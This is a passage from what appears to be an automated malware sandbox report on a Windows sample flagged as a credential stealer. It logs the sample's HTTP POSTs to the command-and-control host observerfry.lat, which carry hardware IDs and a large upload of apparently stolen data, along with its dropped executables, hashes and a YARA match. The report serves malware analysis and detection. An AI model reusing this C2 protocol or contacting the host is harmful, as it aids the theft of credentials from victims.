2024-12-23 07:04:00 UTC	4863	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e7 86 a3 c3 52 df Data Ascii: >7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0R
2024-12-23 07:04:01 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=usg9ul5pq7caqle32ts16t3sd9; expires=Fri, 18 Apr 2025 00:50:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NWehUF5sZkaULBExdfTtYTQJIA3%2FmsZMo9qWRSQMu8m%2FfDz1FW4oy52StggPUTvenbejjmxlHXAfaN6WIbC%2BprRLByLUGPHmgdZMEVHPwYmVbyW6E4pPnChqlShJz3ftOIk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667ebe99174303-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1720&min_rtt=1717&rtt_var=650&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21147&delivery_rate=1677197&cwnd=219&unsent_bytes=0&cid=493c27cc4829513a&ts=978&x=0"
2024-12-23 07:04:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:04:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49710	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:04:03 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S6R7DSVRSG20YUE07 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: observerfry.lat
2024-12-23 07:04:03 UTC	1248	OUT	Data Raw: 2d 2d 53 36 52 37 44 53 56 52 53 47 32 30 59 55 45 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 36 52 37 44 53 56 52 53 47 32 30 59 55 45 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 36 52 37 44 53 56 52 53 47 32 30 59 55 45 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --S6R7DSVRSG20YUE07Content-Disposition: form-data; name="hwid"BB3B1B2205B47667AC8923850305D13E--S6R7DSVRSG20YUE07Content-Disposition: form-data; name="pid"1--S6R7DSVRSG20YUE07Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 07:04:04 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mf3kg6e9t197rakcucp84anrsh; expires=Fri, 18 Apr 2025 00:50:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CN2Ra%2FWoORoAy6ouXaHJ4cxTud85GOfwlJY5ITpQSIpSa82g%2FldS9IdHeipqcCMkCzl%2BX9PwCEjh5qs4T8tqlHHloaTaPLXuIEyXaCGRSQUqwpvpjGyRetVToL6JbTn96Og%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667ecf99344232-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2190&min_rtt=2179&rtt_var=840&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2163&delivery_rate=1285777&cwnd=214&unsent_bytes=0&cid=c1546bcdab28c501&ts=774&x=0"
2024-12-23 07:04:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:04:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8AXS95ZHH2DQ94EQ4JK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552427 Host: observerfry.lat
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 2d 2d 38 41 58 53 39 35 5a 48 48 32 44 51 39 34 45 51 34 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 41 58 53 39 35 5a 48 48 32 44 51 39 34 45 51 34 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 41 58 53 39 35 5a 48 48 32 44 51 39 34 45 51 34 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --8AXS95ZHH2DQ94EQ4JKContent-Disposition: form-data; name="hwid"BB3B1B2205B47667AC8923850305D13E--8AXS95ZHH2DQ94EQ4JKContent-Disposition: form-data; name="pid"1--8AXS95ZHH2DQ94EQ4JKContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 03 ef fa 23 49 80 1c c8 b5 31 35 f9 32 f9 86 e5 c2 02 fa 15 3a 26 d3 ca 14 92 6d d3 d8 77 56 02 61 e8 3c ac b5 67 b9 86 8d 91 8f db 07 24 d3 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 Data Ascii: #I152:&mwVa<g$~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 7b 7e 3e 3d f1 1e 03 61 f9 0f 14 d3 47 3c 58 7c 32 5a d2 09 4b 71 cb b6 4d c1 3f 95 b3 c1 b7 66 1f ec c4 a7 be 50 d7 c7 aa 8e d0 8a 0d 67 4b 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 Data Ascii: {~>=aG<X\|2ZKqM?fPgK<@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 38 10 f2 f9 80 30 ea 2a 70 bb f3 7b f7 ef ff ff e1 e6 09 20 5f 1c af f9 13 a2 64 e9 a5 22 a1 0c 21 e6 ad 34 90 e8 ef 7f eb 5e 16 e2 50 24 b2 e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca Data Ascii: 80p{ _d"!4^P$7@KL-p3?%]Bq6}',V2dhV@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 8d 15 22 0b 69 db 71 cc a8 e0 1b 27 b2 70 c1 15 b5 32 84 d8 2c 5c 4c 19 bd ee 33 e9 d8 d8 d2 65 88 90 f3 0e 9d 36 2f 5d 6b 8d 27 b9 c3 06 35 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 40 f0 c0 d9 19 d8 ef 4e 7f 09 c7 3c a7 6a 42 78 0a 46 94 c0 bd Data Ascii: "iq'p2,\L3e6/]k'537HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj@N<jBxF
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 04 b0 2c 0b 02 57 24 50 79 b8 03 34 b1 a9 86 9a ad aa e9 64 82 74 5c 27 1d 6d e5 63 2f 4c a6 b0 ee f4 42 43 16 89 38 1d f7 e0 e8 8d 1b bd 08 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc 0f 8c ca c1 91 8a a4 33 00 99 e0 15 17 03 b9 dc ab 7e 63 63 1f Data Ascii: ,W$Py4dt\'mc/LBC8@uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}3~cc
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 5e 35 43 10 cd 76 a4 4f 78 1b ef e6 90 3e 63 90 9d 3e 52 da ca cb 30 f4 5f 88 5b 5f 1c 51 d8 66 b9 e1 5f 5e 5c 62 6c 53 d6 29 16 5e 41 4d 7f ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 a7 96 34 9b 5b 11 82 cf 97 45 a3 0b b9 32 17 e2 06 d4 d3 b0 0c Data Ascii: ^5CvOx>c>R0_[_Qf_^\blS)^AMLHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,4[E2
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: 9e c6 be fc 07 36 36 0c 49 c1 8b d1 5c a7 e6 58 84 da 9e f3 91 db e1 db 8b c1 d8 b1 6a dd c8 20 34 43 94 21 3c 51 62 93 e0 b3 6d c7 cc fc 50 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 b2 94 cc 21 6a e6 3a b5 4d bc c6 07 ed 03 44 44 a0 8b b8 7c e4 Data Ascii: 66I\Xj 4C!<QbmP}ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5!j:MDD\|
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: df 35 e7 d3 cb e8 92 cc 4b 4a 2c 4c 4a 6a dd 1f 13 75 53 3f b2 f2 cc 69 aa d0 7f 5c e2 24 84 e6 cb c8 5a a1 e8 e5 b1 01 a5 b1 fe 07 27 1d 5d e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 89 60 f4 ff 36 80 ad 5b b3 7a e5 40 fb 83 ca 13 ff 5c 52 91 dc Data Ascii: 5KJ,LJjuS?i\$Z']EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U`6[z@\R
2024-12-23 07:04:06 UTC	15331	OUT	Data Raw: d5 a8 52 e9 a5 13 d8 42 9c 4c 5b 77 c6 e5 bc ae 16 5d fe d3 8a 9d 2d c5 76 6d 4b 26 11 d6 68 58 2b 8d 93 93 fd ae 12 b7 2a 53 7a 47 b2 d2 d1 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b 1d d4 34 a5 94 7f ad b6 0d 54 06 f2 c7 cc 33 dd c2 fb 7c 90 2d Data Ascii: RBL[w]-vmK&hX+SzG0u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m4T3\|-
2024-12-23 07:04:08 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=idr2enga7aobt5uj1pdf2mkv56; expires=Fri, 18 Apr 2025 00:50:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZWdY%2FaQt2L15SqwYGsvLOJTNGC5XbJ84sV2DI3KMtSBnxyFN39rsksLz3jjJvYNx4J5V0A5vmnVzIPIivL%2BIgVc0TraXmaf5FRA3QmW3qLXvDFKcjlccaYo34pp1DtlPqb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667edf7f222363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1786&rtt_var=677&sent=356&recv=573&lost=0&retrans=0&sent_bytes=2836&recv_bytes=554930&delivery_rate=1606160&cwnd=252&unsent_bytes=0&cid=e31e4fa23b5bd19e&ts=2323&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:04:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-23 07:04:09 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=BB3B1B2205B47667AC8923850305D13E
2024-12-23 07:04:10 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9f144nol0o8ts23meq5gqakdig; expires=Fri, 18 Apr 2025 00:50:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zz6PAhQTxJdGAB0NrXEMuxtyODvQu0IWU9iZNHDemBRkG6kEAgZm9zvictTNafXCMz0kEq9N%2FKky9%2BmAttqQOtvbc9jlaP9oKvdfOPeapjggbYBzjRcSIzz44bITUPSo8jw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667ef64d658c35-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1809&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1580942&cwnd=242&unsent_bytes=0&cid=97a06ac13f8fd8eb&ts=775&x=0"
2024-12-23 07:04:10 UTC	214	IN	Data Raw: 64 30 0d 0a 75 2f 35 48 67 6c 43 6e 47 63 56 7a 43 76 76 6a 33 48 55 47 45 32 78 69 43 33 43 39 42 62 32 4c 59 66 73 62 79 64 71 69 71 2f 7a 67 68 57 58 33 63 70 30 37 72 51 64 2b 69 39 6d 41 57 6c 6f 38 58 56 6f 2b 58 6f 38 30 69 4b 56 51 79 69 6a 6e 36 35 54 33 30 39 53 59 49 64 35 2f 77 33 79 6a 58 57 2b 44 68 76 35 5a 4a 48 55 59 51 44 46 41 6b 53 66 59 71 56 76 4c 5a 75 57 68 67 4e 37 65 67 64 77 76 39 69 54 58 49 35 6c 63 56 74 54 53 35 45 41 6f 49 56 31 58 4a 55 47 4d 4e 70 4f 36 56 36 63 30 75 71 37 48 79 70 48 6e 30 54 58 6a 50 73 4e 32 71 46 31 76 67 34 62 2b 57 53 52 31 47 45 41 78 51 4a 45 6e 32 4b 6c 62 79 32 61 55 0d 0a Data Ascii: d0u/5HglCnGcVzCvvj3HUGE2xiC3C9Bb2LYfsbydqiq/zghWX3cp07rQd+i9mAWlo8XVo+Xo80iKVQyijn65T309SYId5/w3yjXW+Dhv5ZJHUYQDFAkSfYqVvLZuWhgN7egdwv9iTXI5lcVtTS5EAoIV1XJUGMNpO6V6c0uq7HypHn0TXjPsN2qF1vg4b+WSR1GEAxQJEn2Klby2aU
2024-12-23 07:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:03:46
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\NE4jxHLxXJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NE4jxHLxXJ.exe"
Imagebase:	0xa00000
File size:	1'868'288 bytes
MD5 hash:	1B0C09BE5351F6E71F287BF2833228F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1569315856.000000000077A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:04:15
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe"
Imagebase:	0x110000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:04:20
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe"
Imagebase:	0xb20000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
